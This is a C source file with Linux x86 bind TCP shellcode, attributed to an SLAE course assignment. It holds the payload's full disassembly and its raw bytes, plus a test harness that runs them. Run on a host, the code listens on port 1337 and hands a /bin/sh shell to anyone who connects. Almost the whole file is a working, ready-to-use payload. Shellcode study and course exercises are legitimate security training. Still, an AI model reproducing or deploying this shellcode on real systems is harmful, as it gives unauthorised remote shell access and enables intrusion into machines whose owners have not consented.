81 lines
No EOL
3.2 KiB
C
81 lines
No EOL
3.2 KiB
C
/**
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# Linux x86 Bind TCP shellcode
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# This shellcode will listen on port 1337 and give you /bin/sh
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# Shellcode Author: Anurag Srivastava
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# Shellcode Length: 92
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# Student-ID: SLAE-1219
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# Note ~ http://www.theanuragsrivastava.in/2018/04/bind-tcp-shellcode-x86-slae-assignment.html
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Disassembly of section .text:
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08048060 <_start>:
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8048060: 6a 66 push 0x66
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8048062: 58 pop eax
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8048063: 31 db xor ebx,ebx
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8048065: 53 push ebx
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8048066: 43 inc ebx
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8048067: 53 push ebx
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8048068: 6a 02 push 0x2
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804806a: 89 e1 mov ecx,esp
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804806c: 99 cdq
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804806d: cd 80 int 0x80
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804806f: 96 xchg esi,eax
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8048070: 52 push edx
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8048071: 66 68 05 39 pushw 0x3905
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8048075: 43 inc ebx
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8048076: 66 53 push bx
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8048078: 89 e1 mov ecx,esp
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804807a: 6a 10 push 0x10
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804807c: 51 push ecx
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804807d: 56 push esi
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804807e: 89 e1 mov ecx,esp
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8048080: 6a 66 push 0x66
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8048082: 58 pop eax
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8048083: cd 80 int 0x80
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8048085: 53 push ebx
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8048086: 6a 04 push 0x4
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8048088: 5b pop ebx
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8048089: 56 push esi
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804808a: 89 e1 mov ecx,esp
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804808c: 6a 66 push 0x66
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804808e: 58 pop eax
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804808f: cd 80 int 0x80
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8048091: 52 push edx
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8048092: 52 push edx
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8048093: 56 push esi
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8048094: 89 e1 mov ecx,esp
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8048096: 43 inc ebx
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8048097: 6a 66 push 0x66
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8048099: 58 pop eax
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804809a: cd 80 int 0x80
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804809c: 93 xchg ebx,eax
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804809d: 6a 02 push 0x2
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804809f: 59 pop ecx
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080480a0 <loop>:
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80480a0: 6a 3f push 0x3f
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80480a2: 58 pop eax
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80480a3: cd 80 int 0x80
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80480a5: 49 dec ecx
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80480a6: 79 f8 jns 80480a0 <loop>
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80480a8: 31 c9 xor ecx,ecx
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80480aa: 51 push ecx
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80480ab: 6a 0b push 0xb
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80480ad: 58 pop eax
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80480ae: 68 2f 2f 73 68 push 0x68732f2f
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80480b3: 68 2f 62 69 6e push 0x6e69622f
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80480b8: 89 e3 mov ebx,esp
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80480ba: cd 80 int 0x80
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**/
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#include<stdio.h>
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#include<string.h>
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unsigned char code[] = \
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"\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\x99\xcd\x80\x96\x52\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x53\x6a\x04\x5b\x56\x89\xe1\x6a\x66\x58\xcd\x80\x52\x52\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x93\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
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main()
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{
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |